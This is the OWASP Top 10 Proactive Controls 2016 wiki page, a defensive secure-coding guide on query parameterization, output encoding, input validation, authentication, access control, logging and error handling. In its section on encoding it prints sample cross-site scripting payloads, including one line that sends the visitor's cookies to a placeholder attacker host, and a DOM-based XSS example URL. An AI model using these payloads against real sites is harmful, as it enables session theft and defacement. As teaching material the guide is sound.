OWASP Proactive Controls

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OWASP Top 10 Proactive Controls 2016
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.

The OWASP Top Ten Proactive Controls 2016 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.


 * 1) Verify for Security Early and Often
 * 2) Parameterize Queries
 * 3) Encode Data
 * 4) Validate All Inputs
 * 5) Implement Identity and Authentication Controls
 * 6) Implement Appropriate Access Controls
 * 7) Protect Data
 * 8) Implement Logging and Intrusion Detection
 * 9) Leverage Security Frameworks and Libraries
 * 10) Error and Exception Handling

For more information, see the complete document in the tab to the right.

Licensing
The OWASP Proactive Controls document is free to use under the Creative Commons ShareAlike 3 License.


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What is This?
The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.

Presentation
Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v2.pptx|project presentation]] that expands on the information in the document.

Project Leaders

 * Jim Manico [mailto:jim.manico@owasp.org @]
 * Jim Bird [mailto:jimbird@shaw.ca @]
 * Katy Anton [mailto:katy.anton@owasp.org @]

Key Contributors

 * Hiroaki Kuramochi (Japanese Translation)
 * Hiroshi Fujimoto (Japanese Translation)
 * Hidenori Nagai (Japanese Translation)
 * Riotaro OKADA [mailto:riotaro@owasp.org @] (Japanese Translation)
 * Robert Dracea (Japanese Translation)
 * Koichiro Watanabe (Japanese Translation)
 * Abdessamad Temmar
 * Eyal Estrin [mailto:eyal.estrin@gmail.com @] (Hebrew Translation)
 * Cyrille Grandval [mailto:cyrille.grandval@owasp.org @] (French Translation)
 * Frédéric Baillon [mailto:fbaillon@darkmira.com @] (French Translation)
 * Danny Harris [mailto:danny.harris@owasp.org @]
 * Stephen de Vries
 * Andrew Van Der Stock
 * Gaz Heyes
 * Colin Watson
 * Jason Coleman
 * Cassio Goldschmidt

Related Projects

 * OWASP Top Ten Project
 * OWASP Mobile Security Project
 * Cheat Sheets


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Quick Access

 * Top 10 Proactive Controls 2016 [/index.php/OWASP_Proactive_Controls?refresh=123#tab=OWASP_Proactive_Controls_2016 Wiki version]
 * Top 10 Proactive Controls 2016 [/images/9/9b/OWASP_Top_10_Proactive_Controls_V2.pdf PDF version]
 * Top 10 Proactive Controls 2016 [/images/3/33/OWASP_Top_Ten_Proactive_Controls_v2.pptx PPT download].
 * Top 10 Proactive Controls 2016 [/images/8/8b/OWASP_Top_10_Proactive_Controls_-_V2.0.docx DOCX download].

Translations

 * Top 10 Proactive Controls 2016 Japanese Translation [/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf PDF version]
 * Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASPProactiveControls2016-Hebrew.pdf|PDF Download]]

News and Events

 * [12 Apr 2016] Added Hebrew translation for 2016 version
 * [29 Feb 2016] Added Japanese Translation
 * [14 Jan 2016] 2.0 released!
 * [5 Dec 2015] Began final edit process for 2.0
 * [29 Mar 2015] Added Hebrew Translation
 * [27 Jan 2015] Added Top Ten Mapping
 * [31 Oct 2014] Project presentation uploaded
 * [10 Mar 2014] Request for review
 * [04 Feb 2014] New Wiki Template!

Mailing List
Keep up-to-date, participate or ask questions via the Project Email List.

Classifications

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= OWASP Proactive Controls 2016 =

The OWASP Top Ten Proactive Controls 2016 is a list of security concepts that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important.


 * 1)  Verify for Security Early and Often
 * 2)  Parameterize Queries
 * 3)   Encode Data
 * 4)    Validate All Inputs
 * 5)  Implement Identity and Authentication Controls
 * 6)  Implement Appropriate Access Controls
 * 7)  Protect Data
 * 8)  Implement Logging and Intrusion Detection
 * 9)  Leverage Security Frameworks and Libraries
 * 10)  Error and Exception Handling

Control Description
In many organizations security testing is done outside of development testing loops, following a “scan-then-fix” approach. The security team runs a scanning tool or conducts a pen test, triages the results, and then presents the development team a list of vulnerabilities to be fixed. This is often referred to as "the hamster wheel of pain". There is a better way.

Security testing needs to be an integral part of a developer’s software engineering practice. Just as you can’t “test quality in”, you can’t “test security in” by doing security testing at the end of a project. You need to verify security early and often, whether through manual testing or automated tests and scans.

Include security while writing testing stories and tasks. Include the Proactive Controls in stubs and drivers. Security testing stories should be defined such that the lowest child story can be implemented and accepted in a single iteration; testing a Proactive Control must be lightweight. Consider OWASP ASVS as a guide to define security requirements and testing. Consider maintaining a sound story template, “As a I want so that .” Consider data protections early. Include security up front when the definition of done is defined.

Stretching fixes out over multiple sprints can be avoided if the security team makes the effort to convert scanning output into reusable Proactive Controls to avoid entire classes of problems. Otherwise, approach the output of security scans as an epoch, addressing the results over more than one sprint. Have spikes to do research and convert findings into defects, write the defects in Proactive Control terms, and have Q&A sessions with the security team ensuring testing tasks actually verify the Proactive Control fixed the defect.

Take advantage of agile practices like Test Driven Development, Continuous Integration and “relentless testing”. These practices make developers responsible for testing their own work, through fast, automated feedback loops.

Vulnerabilities Prevented

 * All of them!

Tools

 * OWASP ZAP
 * OWASP Web Testing Environment Project
 * OWASP OWTF
 * BDD Security Open Source Testing Framework
 * Gauntlt Security Testing Open Source Framework

Training

 * OWASP Security Shepherd
 * OWASP Mutillidae 2 Project

Control Description
SQL Injection is one of the most dangerous web application risks. SQL Injection is easy to exploit with many open source automated attack tools available. SQL injection can also deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database. The main concern with SQL injection is the fact, that the SQL query and its parameters are contained in one query string.

In order to mitigate SQL injection, untrusted input should be prevented from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as ‘Query Parameterization’. In this case, the SQL statements are sent to and parsed by the database server separately from any parameters.

Many development frameworks (Rails, Django, Node.js, etc.) employ an object-relational model (ORM) to abstract communication with a database. Many ORMs provide automatic query parameterization when using programmatic methods to retrieve and modify data, but developers should still be cautious when allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.

Proper defense in depth against SQL injection includes the use of technologies such as automated static analysis and proper database management system configuration. If possible, database engines should be configured to only support parameterized queries.

Java Examples
Here is an example of query parameterization in Java:

String newName = request.getParameter("newName"); int id = Integer.parseInt(request.getParameter("id")); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setInt(2, id);

PHP Examples
Here is an example of query parameterization in PHP using PDO:

$stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);

Python Examples
Here is an example of query parameterization in Python:

email = REQUEST[‘email’] id = REQUEST[‘id’] cur.execute("update users set email=:new_email where id=:user_id", {"new_email": email, "user_id": id})

.NET Examples
Here is an example of Query Parameterization in C#.NET:

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId"; SqlCommand command = new SqlCommand(sql); command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int)); command.Parameters["@CustomerId"].Value = 1;

Risks Addressed

 * OWASP Top 10 2013-A1-Injection
 * OWASP Mobile Top 10 2014-M1 Weak Server Side Controls

Control Description
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent form that is no longer dangerous in the target interpreter. Encoding is needed to stop various forms of injection including command injection (Unix command encoding, Windows command encoding), LDAP injection (LDAP encoding) and XML injection (XML encoding). Another example of encoding is output encoding which is necessary to prevent cross site scripting (HTML entity encoding, JavaScript hex encoding, etc).

Web Development
Web developers often build web pages dynamically, consisting of a mix of static, developer built HTML/JavaScript and data that was originally populated with user input or some other untrusted source. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross-Site Scripting (XSS) occurs when an attacker tricks your users into executing malicious script that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.

XSS site defacement:
document.body.innerHTML("Jim was here");

XSS session theft:
var img = new Image; img.src="hxxp:// .com?" + document.cookie;

Types of XSS
There are three main classes of XSS:
 * Persistent
 * Reflected
 * DOM based

Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users.

Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.

DOM based XSS is an XSS attack that occurs in DOM, rather than in HTML code. That is, the page itself does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. It can only be observed on runtime or by investigating the DOM of the page.

For example, the source code of page hxxp://www.example.com/test.html contains the following code:

document.write("Current URL : " + document.baseURI);

A DOM Based XSS attack against this page can be accomplished by sending the following URL: hxxp://www.example.com/test.html# alert(1) When looking at the source of the page, you cannot see alert(1) because it’s all happening in the DOM and is done by the executed JavaScript code.

Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block.

The encoding functions required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library. Every other web language has some kind of encoding library or support.

Mobile Development
In mobile application, the Web View enables android/iOS application to render HTML/JavaScript content, and uses the same core frameworks as native browsers (Safari and Chrome). In like manner as a Web application, XSS can occur in an iOS/Android application when HTML/Javascript content is loaded into a Web View without sanitization/encoding. Consequently, a web view can be used by a malicious third party application to perform client-side injection attacks (example: taking a photo, accessing geolocation and sending SMS/E-Mails). This could lead to personal information leakage and financial damage.

Some best practices to protect a mobile app from Cross-Site Scripting attacks depending on the context of using Web View :

Manipulating user-generated content: ensure that data is filtered and/or encoded when presenting it in the Web View.

Loading content from an external source: apps that need to display untrusted content inside a Web View should use a dedicated server/host to render and escape HTML/Javascript content in a safe way. This prevents access to local system contents by malicious Javascript code.

Java Examples
For examples of the OWASP Java Encoder protecting against Cross-site scripting, see: OWASP Java Encoder Project.

Zend Framework 2
In Zend framework 2, Zend\Escaper can be used for escaping data that is to be output. Example of php code in ZF2:

&#x3C;?php $input = &#x27;&#x3C;script&#x3E;alert(&#x22;zf2&#x22;)&#x3C;/script&#x3E;&#x27;; $escaper = new Zend\Escaper\Escaper(&#x27;utf-8&#x27;);

// somewhere in an HTML template &#x3C;div class=&#x22;user-provided-input&#x22;&#x3E; &#x3C;?php echo $escaper-&#x3E;escapeHtml($input);?&#x3E; &#x3C;/div&#x3E;

Vulnerabilities Prevented

 * OWASP Top 10 2013-A1-Injection
 * OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS)
 * OWASP Mobile_Top_10_2014-M7 Client Side Injection

Tools

 * OWASP Java Encoder Project

Control Description
Any data which is directly entered by, or influenced by, users should be treated as untrusted. An application should check that this data is both syntactically and semantically valid (in that order) before using it in any way (including displaying it back to the user). Additionally, the most secure applications treat all variables as untrusted and provide security controls regardless of the source of that data.

Syntax validity means that the data is in the form that is expected. For example, an application may allow a user to select a four-digit “account ID” to perform some kind of operation. The application should assume the user is entering a SQL injection payload, and should check that the data entered by the user is exactly four digits in length, and consists only of numbers (in addition to utilizing proper query parameterization).

Semantic validity means that the data is meaningful: In the above example, the application should assume that the user is maliciously entering an account ID the user is not permitted to access. The application should then check that the user has permission to access said account ID.

Input validation must be wholly server-side: client-side controls may be used for convenience. For example, JavaScript validation may alert the user that a particular field must consist of numbers, but the server must validate that the field actually does consist of numbers.

Background
A large majority of web application vulnerabilities arise from failing to correctly validate input, or not completely validating input. This “input” is not necessarily directly entered by users using a UI. In the context of web applications (and web services), this could include, but is not limited to:
 * HTTP headers
 * Cookies
 * GET and POST parameters (including hidden fields)
 * File uploads (including information such as the file name)

Similarly, in mobile applications, this can include:
 * Inter-process communication (IPC - for example, Android Intents)
 * Data retrieved from back-end web services
 * Data retrieved from the device file system

There are two general approaches to performing input syntax validation, commonly known as black-listing and whitelisting:

Blacklisting attempts to check that a given user input does not contain “known to be malicious” content. This is similar to how an anti-virus program will operate: as a first line of defence, an anti-virus checks if a file exactly matches known malicious content, and if it does, it will reject it. This tends to be the weaker security strategy.

Whitelisting attempts to check that a given user input matches a set of “known good” inputs. For example, a web application may allow you to select one of three cities - the application will then check that one of these cities has been selected, and rejects all other possible input. Character-based whitelisting is a form of whitelisting where an application will check that user input contains only “known good” characters, or matches a known format. For example, this may involve checking that a username contains only alphanumeric characters, and contains exactly two numbers.

When building secure software, whitelisting is the generally preferred approach. Blacklisting is prone to error and can be bypassed with various evasion techniques (and needs to be updated with new “signatures” when new attacks are created).

Regular Expressions
Regular expressions offer a way to check whether data matches a specific pattern - this is a great way to implement whitelist validation.

When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.

Let’s start with the following regular expression for the username.

^[a-z0-9_]{3,16}$

This regular expression, input validation, whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}$

This regular expression ensures that a password is 10 to 4000 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

Care should be exercised when creating regular expressions. Poorly designed expressions may result in potential denial of service conditions (aka ReDDoS). A good static analysis or regular expression tester tool can help product development teams to proactively find instances of this case.

There are also special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text.i A regular expression is not the right tool to parse and sanitize untrusted HTML. Please see the XSS Prevention Cheat Sheet on HTML Sanitization for more information.

PHP Example
Available as standard since v5.2, the PHP filter extension contains a set of the functions that can be used to validate the user input but also to sanitize it by removing the illegal characters. They also provide a standard strategy for filtering data.

Example of both validation and sanitization:

&#x3C;?php $sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL); if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) { echo &#x22;This sanitized email address is considered valid.\n&#x22;; }

Caution : Regular Expressions
Please note, regular expressions are just one way to accomplish validation. Regular expressions can be difficult to maintain or understand for some developers. Other validation alternatives involve writing validation methods which expresses the rules more clearly.

Caution : Validation for Security
Input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input. The security of the application should be enforced where that input is used, for example, if input is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross-Site Scripting attacks. Also, if input is used to build a SQL statement, Query Parameterization should be used. In both of these (and other) cases, input validation should NOT be relied on for security!

Vulnerabilities Prevented

 * OWASP Top 10 2013-A1-Injection (in part)
 * OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS) (in part)
 * OWASP Top 10 2013-A10-Unvalidated_Redirects_and_Forwards
 * OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs (in part)

Tools

 * OWASP JSON Sanitizer Project
 * OWASP Java HTML Sanitizer Project

Control Description
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.

Identity Management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, delegation, identity repositories and more.

Below are some recommendation for secure implementation, and with code examples for each of them.

Use Multi-Factor Authentication
Multi-factor authentication (MFA) ensures that users are who they claim to be by requiring them to identify themselves with a combination of:


 * Something they know – password or PIN
 * Something they own – token or phone
 * Something they are – biometrics, such as a fingerprint

Please see the OWASP Authentication Cheat Sheet   for further details.

Mobile Application: Token-Based Authentication
When building mobile applications, it's recommended to avoid storing/persisting authentication credentials locally on the device. Instead, perform initial authentication using the username and password supplied by the user, and then generate a short-lived access token which can be used to authenticate a client request without sending the user's credentials.

Implement Secure Password Storage
In order to provide strong authentication controls, an application must securely store user credentials. Furthermore, cryptographic controls should be in place such that if a credential (e.g. a password) is compromised, the attacker does not immediately have access to this information.

Please see the OWASP Password Storage Cheat Sheet for further details.

Implement Secure Password Recovery Mechanism
It is common for an application to have a mechanism for a user to gain access to their account in the event they forget their password. A good design workflow for a password recovery feature will use multi-factor authentication elements ( for example ask security question - something they know, and then send a generated token to a device - something they own).

Please see the Forgot_Password_Cheat_Sheet and Choosing_and_Using_Security_Questions_Cheat_Sheet for further details.

Session: Generation and Expiration
On any successful authentication and reauthentication the software should generate a new session and session id.

In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, after a specified period of inactivity. The length of timeout should be inversely proportional with the value of the data protected.

Please see the Session_Management_Cheat_Sheet further details.

Require Reauthentication for Sensitive Features
For sensitive transactions, like changing password or changing the shipping address for a purchase, it is important to require the user to re-authenticate and if feasible, to generate a new session ID upon successful authentication.

PHP Example for Password Storage
Below is an example for password hashing in PHP using password_hash function (available since 5.5.0) which defaults to using the bcrypt algorithm. The example uses a work factor of 15.

&#x3C;?php $cost = 15; $password_hash = password_hash(&#x22;secret_password&#x22;, PASSWORD_DEFAULT, [&#x22;cost&#x22; =&#x3E; $cost] ); ?&#x3E;

Conclusion
Authentication and identity are very big topics. We're scratching the surface here. Ensure that your most senior engineering talent is responsible for your authentication solution.

Vulnerabilities Prevented

 * OWASP Top 10 2013 A2- Broken Authentication and Session Management
 * OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication

Control Description
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.

Access Control design may start simple, but can often grow into a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front, especially when addressing requirements like multi-tenancy and horizontal (data specific) access control.

Force All Requests to go Through Access Control Checks
Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.

Deny by Default
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.

Principle of Least Privilege
When designing access controls, each user or system component should be allocated the minimum privilege required to perform an action for the minimum amount of time.

Avoid Hard-Coded Access Control Checks
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.

Code to the Activity
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Consider checking if the user has access to that feature in code, as opposed to checking what role the user is in code. Such a check should take into context the specific data/user relationship. For example, a user may be able to generally modify projects given their role, but access to a given project should also be checked if business/security rules dictate explicit permissions to do so.

So instead of hard-coding role check all throughout your code base:

if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) { deleteAccount; }

Please consider the following instead:

if (user.hasAccess("DELETE_ACCOUNT")) { deleteAccount; }

Server-Side Trusted Data Should Drive Access Control
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.

Java Examples
As discussed before, it’s recommended to separate your access control policy definition from the business/logical layer (application code). This can be achieved by using a centralized security manager which allows flexible and customizable access control policy within your application. For example, Apache Shiro API provides a simple INI-based configuration file that can be used to define your access control policy in a modular/pluggable way. Apache Shiro also has the ability to interact with any other JavaBeans-compatible frameworks (Spring, Guice, JBoss, etc). Aspects also provide a good method for separating your access control from your application code, while providing an auditable implementation.

Vulnerabilities Prevented

 * OWASP Top 10 2013-A4-Insecure Direct Object References
 * OWASP Top 10 2013-A7-Missing Function Level Access Control
 * OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication

Encrypting data in Transit
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto, recommended method for implementing transport layer encryption..

Encrypting data at Rest
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI-DSS compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed and open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.

A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory. Other alternatives include the use of specialized crypto hardware such as a Hardware Security Module (HSM) for key management and cryptographic process isolation.

Implement Protection in Transit
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.

Mobile Application: Secure Local Storage
In the context of mobile devices, which are regularly lost or stolen, secure local data storage requires proper techniques. When an application does not implement properly the storage mechanisms, it may lead to serious information leakage (example: authentication credentials, access token, etc.). When managing critically sensitive data, the best path is to never save that data on a mobile device, even using known methods such as a iOS keychain.

Vulnerabilities Prevented

 * OWASP Top 10 2013-A6-Sensitive_Data_Exposure
 * OWASP Mobile Top 10 2014-M2 Insecure Data Storage

Tools

 * OWASP O-Saft TLS Tool

Control Description
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:


 * Application monitoring
 * Business analytics and insight
 * Activity auditing and compliance monitoring
 * System intrusion detection
 * Forensics

Logging and tracking security events and metrics helps to enable |"attack-driven defense": making sure that your security testing and controls are aligned with real-world attacks against your system.

To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.

It is important not to log too much, or too little. Make sure to always log the timestamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka log forging, make sure to perform encoding on untrusted data before logging it.

The OWASP AppSensor Project explains how to implement intrusion detection and automated response into an existing Web application: where to add sensors or  detection points and what response actions to take when a security exception is encountered in your application. For example, if a server-side edit catches bad data that should already have been edited at the client, or catches a change to a non-editable field, then you either have some kind of coding bug or (more likely) somebody has bypassed client-side validation and is attacking your app. Don’t just log this case and return an error: throw an alert, or take some other action to protect your system such as disconnecting the session or even locking the account in question.

In mobile applications, developers use logging functionality for debugging purpose, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform) but by any third party application installed on the same device. For this reason, best practice recommends to disable logging functionality into production release.

Secure Logging design may include the followings: 1. Logging level threshold configuration. i.e.Information, Warning, Error, fatal or Security Breach (highest value) 2. Encode any characters to prevent log injection attacks. 3. Do not log sensitive information. For example, password, session ID or Hash value of password, credit cards, social security numbers. 4. Protection of log integrity. Hacker may tamper the log. Therefore, the permission of log files and log changes audit should be considered. 5. Log file size growth: Hacker may send massive requests that result in disk storage denial of service or overwrite previous history logs.

Disable logging in release Android application
The simplest way to avoid compiling Log Class into production release is to use the Android ProGuard tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:

-assumenosideeffects class android.util.Log { public static boolean isLoggable(java.lang.String, int); public static int v(...); public static int i(...); public static int w(...); public static int d(...); public static int e(...); }

Disable logging in release iOS application
This technique can be also applied on iOS application by using the preprocessor to remove any logging statements :


 * 1) ifndef DEBUG
 * 2) define NSLog(...)
 * 3) endif

Vulnerabilities Prevented

 * All Top Ten!
 * Mobile Top 10 2014-M4 Unintended Data Leakage

Tools

 * OWASP AppSensor Project
 * OWASP Security Logging Project

9: Leverage Security Frameworks and Libraries
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries and software frameworks with embedded security help software developers guard against security-related design and implementation flaws. A developer writing a application from scratch might not have sufficient time and budget to implement security features and different industries have different standards and levels of security compliance.

When possible, the emphasis should be on using the existing secure features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of forcing yet another library on them. Web application security frameworks to consider include:


 * Spring Security
 * Apache Shiro
 * Django Security
 * Flask security

One must also consider that not all frameworks are immune from security flaws and some have a large attack surface due to the many features and third-party plugins available. A good example is the Wordpress framework (a very popular framework to get a simple website off the ground quickly), which pushes security updates, but cannot support the security in third-party plugins or applications. Therefore it is important to build in additional security where possible, updating frequently and verifying them for security early and often like any other software you depend upon.

Vulnerabilities Prevented
Secure frameworks and libraries will typically prevent common web application vulnerabilities such as those listed in the OWASP Top Ten, particularly those based on syntactically incorrect input (e.g. supplying a Javascript payload instead of a username). It is critical to keep these frameworks and libraries up to date as described in the using components with known vulnerabilities Top Ten 2013 risk.

Key References

 * OWASP PHP Security Cheat Sheet
 * OWASP .NET Security Cheat Sheet
 * Security tips and tricks for JavaScript MVC frameworks and templating libraries
 * Angular Security
 * OWASP Security Features in common Web Frameworks
 * OWASP Java Security Libraries and Frameworks

Tools

 * OWASP Dependency Check

Control Description
Implementing correct error and exception handling isn't exciting, but like input data validation, it is an important part of defensive coding, critical to making a system reliable as well as secure. Mistakes in error handling can lead to different kinds of security vulnerabilities:

1) Leaking information to attackers, helping them to understand more about your platform and design CWE 209. For example, returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different types of errors in different situations (for example, "invalid user" vs "invalid password" on authentication errors) can also help attackers find their way in.

2) Not checking errors, leading to errors going undetected, or unpredictable results such as CWE 391. Researchers at the University of Toronto have found that missing error handling, or small mistakes in error handling, are major contributors to catastrophic failures in distributed systems https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf.

Error and exception handling extends to critical business logic as well as security features and framework code. Careful code reviews, and negative testing (including exploratory testing and pen testing), fuzzing (Fuzzing) and fault injection can all help in finding problems in error handling. One of the most famous automated tools for this is Netflix's Chaos Monkey.

Positive Advice
It’s recommended to manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code, and to ensure that all unexpected behaviors are correctly handled inside the application.
 * Ensure that error messages displayed to users do not leak critical data, but are still verbose enough to explain the issue to the user.
 * Ensure that exceptions are logged in a way that gives enough information for Q/A, forensics or incident response teams to understand the problem.

Vulnerabilities Prevented

 * * All Top Ten!

Tools

 * Aspirator - A simple checker for exception handler bugs

= Top 10 Mapping 2016 =

Overview
OWASP Top 10 Proactive Controls is a developer centric list of security techniques that should be included in every software development project. Each control helps preventing one or more of the OWASP Top Ten, the most critical web application security vulnerabilities.

This documents presents a summary of the mapping between the OWASP Top 10 Proactive Controls and each of the OWASP Top 10 helps to mitigate.



= Formal Numbering =

2016 Numbering

 * OWASP-2016-C1: Verify for Security Early and Often
 * OWASP-2016-C2: Parameterize Queries
 * OWASP-2016-C3: Encode Data
 * OWASP-2016-C4: Validate All Inputs
 * OWASP-2016-C5: Implement Identity and Authentication Controls
 * OWASP-2016-C6: Implement Appropriate Access Controls
 * OWASP-2016-C7: Protect Data
 * OWASP-2016-C8: Implement Logging and Intrusion Detection
 * OWASP-2016-C9: Leverage Security Frameworks and Libraries
 * OWASP-2016-C10: Error and Exception Handling

2014 Numbering

 * OWASP-2014-C1: Parameterize Queries
 * OWASP-2014-C2: Encode Data
 * OWASP-2014-C3: Validate All Inputs
 * OWASP-2014-C4: Implement Appropriate Access Controls
 * OWASP-2014-C5: Establish Identity and Authentication Controls
 * OWASP-2014-C6: Protect Data and Privacy
 * OWASP-2014-C7: Implement Logging, Error Handling and Intrusion Detection
 * OWASP-2014-C8: Leverage Security Features of Frameworks and Security Libraries
 * OWASP-2014-C9: Include Security-Specific Requirements
